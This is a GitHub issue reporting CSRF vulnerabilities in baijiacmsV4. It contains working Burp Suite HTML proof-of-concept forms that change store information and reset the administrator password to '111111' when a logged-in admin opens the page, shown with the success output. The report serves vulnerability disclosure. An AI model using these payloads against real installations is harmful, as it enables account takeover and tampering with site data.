

## There is a CSRF vulnerability #7



e11usion opened this issue on May 17, 2021 · 0 comments

e11usion commented on May 17, 2021 • edited

## Vulnerability description

A csrf vulnerability was discovered in baijiacmsV4.

There is a CSRF attacks vulnerability. After the administrator logged in, open the following two page, attacker can modify the store information and login password.  
1. modify the store information.

poc:

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.0.0.128/index.php?mod=site&op=post&id=2&act=manager&do=store" method="POST">
  <input type="hidden" name="id" value="2" />
  <input type="hidden" name="sname" value="xxx" />
  <input type="hidden" name="website" value="xxx" />
  <input type="hidden" name="fullwebsite" value="http&#58;&#47;&#47;xxx&#47;" />
  <input type="hidden" name="status" value="1&apos;" />
  <input type="hidden" name="mobile&#95;url" value="http&#58;&#47;&#47;xxx&#47;index&#46;php" />
  <input type="hidden" name="mobile&#95;url" value="http&#58;&#47;&#47;xxx&#47;admin&#46;php" />
  <input type="hidden" name="submit" value="æ&#143;&#144;ä&#164;" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.0.0.128/index.php?mod=site&op=post&id=2&act=manager&do=store" method="POST">
  <input type="hidden" name="id" value="2" />
  <input type="hidden" name="sname" value="xxx" />
  <input type="hidden" name="website" value="xxx" />
  <input type="hidden" name="fullwebsite" value="http&#58;&#47;&#47;xxx&#47;" />
  <input type="hidden" name="status" value="1&apos;" />
  <input type="hidden" name="mobile&#95;url" value="http&#58;&#47;&#47;xxx&#47;index&#46;php" />
  <input type="hidden" name="mobile&#95;url" value="http&#58;&#47;&#47;xxx&#47;admin&#46;php" />
  <input type="hidden" name="submit" value="æ&#143;&#144;ä&#164;" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

**Baijiacms**您好, admin 官方首页 修改密码 退出系统

店铺管理

店铺管理 >

附件设置

系统管理

系统管理员

备份与还原

插件扩展

系统信息


授权许可

店铺管理 + 添加店铺

店铺名称 店铺名称关键字搜索

店铺名称	绑定域名	状态	操作
默认店铺	127.0.0.1	正常	<input type="button" value="店铺管理"/> <input type="button" value="修改"/> <input type="button" value="关闭"/>
ZZZ	ZZZ	正常	<input type="button" value="店铺管理"/> <input type="button" value="修改"/> <input type="button" value="关闭"/>

When a logged in administrator opens a malicious web page and clicks the button



修改成功

页面自动跳转, 等待时间: 1

And the store information has changed

**Baijiacms**您好, admin 官方首页 修改密码 退出系统

店铺管理

店铺管理 >

附件设置

系统管理

系统管理员

备份与还原

插件扩展

系统信息

授权许可

店铺管理 + 添加店铺

店铺名称 店铺名称关键字搜索

店铺名称	绑定域名	状态	操作
默认店铺	127.0.0.1	正常	<input type="button" value="店铺管理"/> <input type="button" value="修改"/> <input type="button" value="关闭"/>
XXX	XXX	正常	<input type="button" value="店铺管理"/> <input type="button" value="修改"/> <input type="button" value="关闭"/>

2.modify login password.

poc:

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.0.0.128/index.php?mod=site&op=changepwd&id=1&act=manager&do=user" method="POST">
  <input type="hidden" name="username" value="admin" />
  <input type="hidden" name="newpassword" value="111111" />
  <input type="hidden" name="confirmpassword" value="111111" />
  <input type="hidden" name="submit" value="a&#143;8#144;a&#164;" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.0.0.128/index.php?mod=site&op=changepwd&id=1&act=manager&do=user" method="POST">
  <input type="hidden" name="username" value="admin" />
  <input type="hidden" name="newpassword" value="111111" />
  <input type="hidden" name="confirmpassword" value="111111" />
  <input type="hidden" name="submit" value="a&#143;&#144;ä&#164;" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

When a logged in administrator opens a malicious web page and clicks the button.



密码修改成功!

页面自动跳转, 等待时间: 0

And the login password of the administrator will be 111111.

e1lusion changed the title ~~There is a stored CSRF vulnerability~~ There is a CSRF vulnerability on May 17, 2021

e1lusion closed this as completed on May 25, 2021

e1lusion reopened this on May 25, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

